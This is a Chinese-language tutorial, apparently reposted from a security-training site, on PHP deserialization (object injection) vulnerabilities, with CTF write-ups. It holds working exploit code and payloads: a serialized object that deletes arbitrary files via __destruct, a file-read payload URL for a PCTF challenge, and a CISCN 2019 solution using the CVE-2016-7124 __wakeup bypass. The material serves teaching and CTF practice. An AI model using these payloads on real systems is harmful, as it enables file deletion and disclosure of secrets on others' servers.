最全的PHP反序列化漏洞的理解和应用

Posted 合天智汇

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了最全的PHP反序列化漏洞的理解和应用相关的知识,希望对你有一定的参考价值。

php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到。

01
学习前最好提前掌握的知识


  • PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)

  • PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

  • serialize()

(http://php.net/manual/zh/function.serialize.php)

与unserialize()

(http://php.net/manual/zh/function.unserialize.php)


02
序列化与反序列化


PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。

serialize()

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;

   
     
     
   
  1. <?php

  2. class people

  3. {

  4.    public $name = "f1r3K0";

  5.  public $age = '18';

  6. }

  7. $class = new people();

  8. $class_ser = serialize($class);

  9. print_r($class_ser);

  10. ?>

测试结果:

   
     
     
   
  1. O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母 O


  • 下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的,unserialize()可以从序列化后的结果中恢复对象(object),我们翻阅PHP手册发现官方给出的是:unserialize — 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数,如下:

   
     
     
   
  1. <?php

  2. class people

  3. {

  4.    public $name = "f1r3K0";

  5.    public $age = '18';

  6. }

  7. $class =  new people();

  8. $class_ser = serialize($class);

  9. print_r($class_ser);

  10. $class_unser = unserialize($class_ser);

  11. print_r($class_unser);

  12. ?>


最全的PHP反序列化漏洞的理解和应用

提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。(先埋个伏笔,这个点后面会提)


0 3
反序列化漏洞


由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”,就是我们常说的"魔术方法" 这里我们着重关注一下几个:

  • __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。

  • __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。

  • __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。

  • __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。

测试如下:

   
     
     
   
  1. <?php

  2. class people

  3. {

  4.    public $name = "f1r3K0";

  5.    public $age = '18';

  6.    function __wakeup()

  7.    {

  8.        echo "__wakeup()";

  9.    }

  10.    function __construct()

  11.    {

  12.        echo "__consrtuct()";

  13.    }

  14.    function __destruct()

  15.    {

  16.        echo "__destruct()";

  17.    }

  18.    function __toString()

  19.    {

  20.        echo "__toString";

  21.    }

  22.    /*function __sleep()

  23.    {

  24.        echo "__sleep";

  25.    }*/

  26. }

  27. $class =  new people();

  28. $class_ser = serialize($class);

  29. print_r($class_ser);

  30. $class_unser = unserialize($class_ser);

  31. print_r($class_unser);

  32. ?>

结果如下:

最全的PHP反序列化漏洞的理解和应用从运行结果来看,我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里我将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)


利用场景

__wakeup()和destruct()

由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

   
     
     
   
  1. //logfile.php 删除临时日志文件

  2. <?php

  3. class LogFile {

  4.    //log文件名

  5.    public $filename = 'error.log';

  6.    //存储日志文件

  7.    public function LogData($text) {

  8.        echo 'Log some data:' . $text . '<br />';

  9.        file_put_contents($this->filename, $text, FILE_APPEND);

  10.    }

  11.    //Destructor删除日志文件

  12.    public function __destruct() {

  13.        echo '__destruct delete' . $this->filename . 'file.<br />';

  14.        unlink(dirname(__FILE__) . '/' . $this->filename); //删除当前目录下的filename这个文件

  15.    }

  16. }

  17. ?>

   
     
     
   
  1. //包含了’logfile.php’的主页面文件index.php

  2. <?php

  3. include 'logfile.php';

  4. class User {

  5.    //属性

  6.    public $age = 0;

  7.    public $name = '';

  8.    //调用函数来输出类中属性

  9.    public function PrintData() {

  10.        echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';

  11.    }

  12. }

  13. $usr = unserialize($_GET['user']);

  14. ?>

梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉,利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt.


漏洞利用exp
   
     
     
   
  1. <?php

  2. include 'logfile.php';

  3. $obj = new LogFile();

  4. $obj->filename = 'source.txt'; //source.txt为你想删除的文件

  5. echo serialize($obj) . '<br />';

  6. ?>

这里我们通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。

最全的PHP反序列化漏洞的理解和应用

之前还看到过一个wakeup()非常有意思的例子,这里直接上链接了

chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/


0 4
其它magic function的利用


这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接:(http://web.jarvisoj.com:32768/index.php

  • 前面几步都是很常见的读文件源码

    这里直接放出给的两个源码

   
     
     
   
  1. //index.php

  2. <?php

  3.    require_once('shield.php');

  4.    $x = new Shield();

  5.    isset($_GET['class']) && $g = $_GET['class'];

  6.    if (!empty($g)) {

  7.        $x = unserialize($g);

  8.    }

  9.    echo $x->readfile();

  10. ?>

上边index.php提示了包含的shield.php所以说直接构造base64就完事了

   
     
     
   
  1. //shield.php

  2. <?php

  3.    //flag is in pctf.php

  4.    class Shield {

  5.        public $file;

  6.        function __construct($filename = '') {

  7.            $this -> file = $filename;

  8.        }

  9.        function readfile() {

  10.            if (!empty($this->file) && stripos($this->file,'..')===FALSE  

  11.            && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {

  12.                return @file_get_contents($this->file);

  13.            }

  14.        }

  15.    }

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容,输出了readfile()方法

shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了,因此不会影响我们对可控$file的利用。

构造poc
   
     
     
   
  1. <?php

  2.    class Shield

  3.    {

  4.        public $file = "pctf.php";

  5.    }

  6.    $flag = new Shield();

  7.    print_r(serialize($flag));

  8. ?>最终poc:

最全的PHP反序列化漏洞的理解和应用

最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}


ciscn2019 web1- JustSoso

读源码的过程省略

   
     
     
   
  1. //index.php

  2. <html>

  3. <?php

  4. error_reporting(0);

  5. $file = $_GET["file"];

  6. $payload = $_GET["payload"];

  7. if(!isset($file)){

  8.    echo 'Missing parameter'.'<br>';

  9. }

  10. if(preg_match("/flag/",$file)){

  11.    die('hack attacked!!!');

  12. }

  13. @include($file);

  14. if(isset($payload)){  

  15.    $url = parse_url($_SERVER['REQUEST_URI']);

  16.    parse_str($url['query'],$query);

  17.    foreach($query as $value){

  18.        if (preg_match("/flag/",$value)) {

  19.            die('stop hacking!');

  20.            exit();

  21.        }

  22.    }

  23.    $payload = unserialize($payload);

  24. }else{

  25.   echo "Missing parameters";

  26. }

  27. ?>

  28. <!--Please test index.php?file=xxx.php -->

  29. <!--Please get the source of hint.php-->

  30. </html>

   
     
     
   
  1. <?php

  2. class Handle{

  3.    private $handle;  

  4.    public function __wakeup(){

  5.        foreach(get_object_vars($this) as $k => $v) {

  6.            $this->$k = null;

  7.        }

  8.        echo "Waking up ";

  9.    }

  10.    public function __construct($handle) {

  11.        $this->handle = $handle;

  12.    }

  13.    public function __destruct(){

  14.        $this->handle->getFlag();

  15.    }

  16. }

  17. class Flag{

  18.    public $file;

  19.    public $token;

  20.    public $token_flag;

  21.    function __construct($file){

  22.        $this->file = $file;

  23.        $this->token_flag=&$this->token;

  24.    }

  25.    public function getFlag(){

  26.        $this->token_flag = md5(rand(1,10000));

  27.        if($this->token === $this->token_flag)

  28.        {

  29.            if(isset($this->file)){

  30.                echo @highlight_file($this->file,true);

  31.            }  

  32.        }

  33.    }

  34. }

其实刚开始做的时候是很懵逼了,一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知

https://blog.csdn.net/qq_33156633/article/details/79936487

   
     
     
   
  1. $b = new Flag("flag.php");

  2. $b->token=&$b->token_flag;

  3. $a = new Handle($b);

这样最后的token就和token_flag保持一致了。

最后的POC

   
     
     
   
  1. <?php

  2. class Handle

  3. {      

  4.    private $handle;        

  5.    public function __wakeup()

  6.    {

  7.            foreach(get_object_vars($this) as $k => $v)

  8.        {

  9.                $this->$k = null;        

  10.            }          

  11.            echo "Waking upn";      

  12.    }

  13.    public function __construct($handle)

  14.    {          

  15.        $this->handle = $handle;      

  16.    }    

  17.    public function __destruct()

  18.    {    

  19.        $this->handle->getFlag();  

  20.    }  

  21. }    

  22. class Flag

  23. {      

  24.    public $file;      

  25.    public $token;      

  26.    public $token_flag;        

  27.    function __construct($file)

  28.    {    

  29.        $this->file = $file;    

  30.        $this->token_flag = $this->token = md5(rand(1,10000));      

  31.    }        

  32.    public function getFlag()

  33.    {      

  34.        if(isset($this->file))

  35.    {      

  36.            echo @highlight_file($this->file,true);              

  37.        }            

  38.    }  

  39. }

  40. $b = new Flag("flag.php");

  41. $b->token=&$b->token_flag;

  42. $a = new Handle($b);

  43. echo(serialize($a));

  44. ?>

最全的PHP反序列化漏洞的理解和应用

这里还有一个点就是我们需要用%00来补全空缺的字符,又因为含有private 变量,需要 encode 一下。

最终payload:

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D


05
利用普通成员方法


前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

参考文章

https://www.cnblogs.com/Mrsm1th/p/6835592.html

http://p0desta.com/2018/04/01/php反序列化总结/

http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/

https://p0sec.net/index.php/archives/114/


相关操作学习:

PHP反序列化漏洞实验:明白什么是反序列化漏洞,漏洞成因以及如何挖掘和预防此类漏洞。点击文末“阅读原文”,开始操作!


最全的PHP反序列化漏洞的理解和应用

最全的PHP反序列化漏洞的理解和应用

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击


“阅读原文”,开始操作学习!

以上是关于最全的PHP反序列化漏洞的理解和应用的主要内容,如果未能解决你的问题,请参考以下文章

由Typecho 深入理解PHP反序列化漏洞

一篇文章带你理解漏洞之 Python 反序列化漏洞!

理解php反序列化漏洞

PHP反序列化漏洞代码审计—学习资料

四个实例递进php反序列化漏洞理解

PHP内核层解析反序列化漏洞